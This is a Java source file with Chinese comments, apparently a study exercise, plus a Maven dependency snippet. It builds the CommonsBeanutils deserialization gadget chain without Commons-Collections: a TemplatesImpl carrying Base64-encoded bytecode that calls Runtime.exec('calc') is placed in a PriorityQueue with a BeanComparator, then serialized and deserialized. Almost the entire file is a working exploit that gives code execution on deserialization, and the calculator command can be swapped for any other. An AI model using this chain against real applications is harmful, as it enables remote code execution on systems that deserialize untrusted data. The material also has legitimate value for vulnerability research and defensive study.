import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.beanutils.BeanComparator;
import java.io.*;import java.lang.reflect.Field;import java.util.Base64;import java.util.PriorityQueue;

public class CB_NoCC {    public static void main(String[] args) throws Exception {        //1、实现基本的 TemplatesImpl.newTransformer() 代码执行        TemplatesImpl templates = getTemplatesForCalc();
        //2、BeanComparator链条        // 摆脱对Commons-Collections的依赖：传入原生的、可序列化的 Comparator （String.CASE_INSENSITIVE_ORDER）        BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        //3、先不将比较器加入 PriorityQueue,最后修改比较器进行运行, 适用于多种环境        PriorityQueue queue = new PriorityQueue(2);        // 使用 queue.add 自动调用 compare 方法完成比较        queue.add(1);        queue.add(1);
        //如果 property 不为空，则用 PropertyUtils.getProperty 分别取这两个对象的 property 属性，比较属性的值。        setFieldValue(comparator, "property", "outputProperties");        setFieldValue(queue, "comparator", comparator);        setFieldValue(queue, "queue", new Object[]{templates, templates});
        serialize(queue);        deserialize();    }

    public static void serialize(Object obj) throws IOException {        //简化代码 序列化操作        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));        out.writeObject(obj);    }
    public static void deserialize() throws IOException, ClassNotFoundException {        //简化代码 反序列化操作        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.bin"));        objectInputStream.readObject();    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {        Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, value);    }
    public static TemplatesImpl getTemplatesForCalc() throws Exception {        byte[] code = getCodeFromBase64();        TemplatesImpl templates = new TemplatesImpl();        setFieldValue(templates, "_bytecodes", new byte[][]{code});        setFieldValue(templates, "_name", "HelloTemplatesImpl");        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());        return templates;    }
    public static byte[] getCodeFromBase64(){        // 弹出计算机的Base64代码        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAOgoACQAhCQAiACMIACQKACUAJgoAJwAoCAApCgAnACoHACsHACwBAA" +                "l0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFja" +                "GUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAS" +                "TG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEANkx5c29zZXJpYWwvbXl0ZXN0L2NvbW1vbnNjb2xsZWN0aW9uMy9IZWxsb0RlZmluZUN" +                "sYXNzOwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAE" +                "JbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb" +                "25zBwAtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1s" +                "L2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJ" +                "pYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aX" +                "NJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0a" +                "W9uSGFuZGxlcjsBAAY8aW5pdD4BAAMoKVYHAC4BAApTb3VyY2VGaWxlAQAVSGVsbG9EZWZpbmVDbGFzcy5qYXZhDAAcAB0HAC8MADAA" +                "MQEAEEhlbGxvRGVmaW5lQ2xhc3MHADIMADMANAcANQwANgA3AQAEY2FsYwwAOAA5AQA0eXNvc2VyaWFsL215dGVzdC9jb21tb25zY29" +                "sbGVjdGlvbjMvSGVsbG9EZWZpbmVDbGFzcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0" +                "Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BA" +                "BNqYXZhL2lvL0lPRXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEva" +                "W8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50a" +                "W1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhA" +                "AgACQAAAAAAAwABAAoACwACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAAEQAOAAAAIAADAAAAAQAPABAAAAAAAAEAEQASAAEAA" +                "AABABMAFAACABUAAAAEAAEAFgABAAoAFwACAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAAFgAOAAAAKgAEAAAAAQAPABAAAAAAA" +                "AEAEQASAAEAAAABABgAGQACAAAAAQAaABsAAwAVAAAABAABABYAAQAcAB0AAgAMAAAATAACAAEAAAAWKrcAAbIAAhIDtgAEuAAFEga2AA" +                "dXsQAAAAIADQAAABIABAAAABkABAAaAAwAGwAVABwADgAAAAwAAQAAABYADwAQAAAAFQAAAAQAAQAeAAEAHwAAAAIAIA==");        return  code;    }}

    <dependencies>    <dependency>        <groupId>commons-beanutils</groupId>        <artifactId>commons-beanutils</artifactId>        <version>1.6.1</version>    </dependency>    </dependencies>

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